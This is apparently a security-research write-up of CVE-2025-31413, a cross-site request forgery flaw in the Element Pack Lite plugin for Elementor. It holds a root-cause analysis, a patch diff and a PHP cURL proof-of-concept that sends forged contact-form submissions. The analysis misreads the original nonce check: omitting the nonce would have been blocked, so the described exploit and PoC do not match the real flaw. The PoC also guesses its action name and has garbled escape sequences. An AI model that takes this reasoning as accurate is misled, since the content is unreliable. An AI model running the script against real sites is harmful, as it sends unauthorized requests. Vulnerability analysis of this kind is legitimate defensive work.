Atomic Edge analysis of CVE-2025-31413:
The Element Pack Lite plugin for Elementor, versions up to 8.3.13, contains a Cross-Site Request Forgery (CSRF) vulnerability in its contact form submission handler. This flaw allows unauthenticated attackers to trick authenticated users into performing unintended actions via forged requests.
Root Cause:
The vulnerability originates in the contact form module’s server-side request processing logic. In the file `bdthemes-element-pack-lite/modules/contact-form/module.php`, the function handling POST submissions performed an incorrect nonce validation check. The original code on line 93 used a logical AND (`&&`) operator to verify the nonce’s existence and validity. This faulty logic required the `_wpnonce` parameter to be both NOT set AND fail verification, a condition that could never be true. Consequently, the security check was effectively bypassed for all requests.
Exploitation:
An attacker can exploit this by crafting a malicious web page or link that submits a forged POST request to the WordPress site’s contact form endpoint. The request targets the plugin’s AJAX or form handler. The payload includes parameters for the contact form fields, such as name, email, and message, but omits the required `_wpnonce` parameter or provides an invalid one. When an administrator with appropriate privileges visits the attacker’s page, the forged request is sent from the victim’s browser, submitting unauthorized contact form data.
Patch Analysis:
The patch changes a single character in the conditional statement on line 93 of `module.php`. It replaces the logical AND operator (`&&`) with a logical OR operator (`||`). The corrected logic now properly validates that the request must have a `_wpnonce` parameter AND that the nonce verifies correctly for the `simpleContactForm` action. If either condition fails (nonce not set OR verification fails), the security check triggers, outputting a warning and terminating execution with `wp_die()`. This enforces the intended nonce validation.
Impact:
Successful exploitation allows attackers to submit arbitrary data through the site’s contact form. This can lead to spam injection, harassment of site administrators via forged messages, or data exfiltration if the form submissions are logged or emailed. The attack requires user interaction, typically social engineering an administrator to click a link, aligning with the CVSS score of 4.3 (Medium severity).
--- a/bdthemes-element-pack-lite/bdthemes-element-pack-lite.php
+++ b/bdthemes-element-pack-lite/bdthemes-element-pack-lite.php
@@ -4,7 +4,7 @@
* Plugin Name: Element Pack Lite - Addons for Elementor
* Plugin URI: http://elementpack.pro/
* Description: The all-new <a href="https://elementpack.pro/">Element Pack</a> brings incredibly advanced, and super-flexible widgets, and A to Z essential addons to the Elementor page builder for WordPress. Explore expertly-coded widgets with first-class support by experts.
- * Version: 8.3.13
+ * Version: 8.3.14
* Author: BdThemes
* Author URI: https://bdthemes.com/
* Text Domain: bdthemes-element-pack
@@ -82,7 +82,7 @@
if ( ! element_pack_pro_installed() ) {
// Some pre defined value for easy use
- define( 'BDTEP_VER', '8.3.13' );
+ define( 'BDTEP_VER', '8.3.14' );
define( 'BDTEP_TPL_DB_VER', '1.0.0' );
define( 'BDTEP__FILE__', __FILE__ );
if ( ! defined( 'BDTEP_TITLE' ) ) {
--- a/bdthemes-element-pack-lite/modules/contact-form/module.php
+++ b/bdthemes-element-pack-lite/modules/contact-form/module.php
@@ -90,7 +90,7 @@
if ( isset( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] == 'POST' ) {
- if (!isset($_REQUEST['_wpnonce']) && !wp_verify_nonce( sanitize_key( wp_unslash( $_REQUEST['_wpnonce'] ) ), 'simpleContactForm')) {
+ if (!isset($_REQUEST['_wpnonce']) || !wp_verify_nonce( sanitize_key( wp_unslash( $_REQUEST['_wpnonce'] ) ), 'simpleContactForm')) {
$result = esc_html__('Security check failed!', 'bdthemes-element-pack');
echo '<span class="bdt-text-warning">' . esc_html($result) . '</span>';
wp_die();
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-31413 - Element Pack Elementor Addons <= 8.3.13 - Cross-Site Request Forgery
<?php
// CONFIGURATION
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php'; // Target site's AJAX endpoint
// The exact endpoint may vary; it could also be a custom form handler URL.
// The action parameter is implied by the plugin's contact form widget.
// Craft a malicious POST request payload simulating a contact form submission.
// The key exploit is the omission of the '_wpnonce' parameter.
$post_data = array(
'action' => 'element_pack_contact_form', // Example AJAX action; the actual hook name may differ.
'name' => 'Atomic Edge Test',
'email' => 'test@atomicedge.local',
'subject' => 'CSRF Test',
'message' => 'This is a forged contact form submission via CSRF.',
// '_wpnonce' is intentionally omitted to trigger the vulnerability.
);
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true); // Capture headers for analysis
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output result
echo "HTTP Response Code: $http_coden";
echo "Response Body/Headers:n";
echo $response;
?>
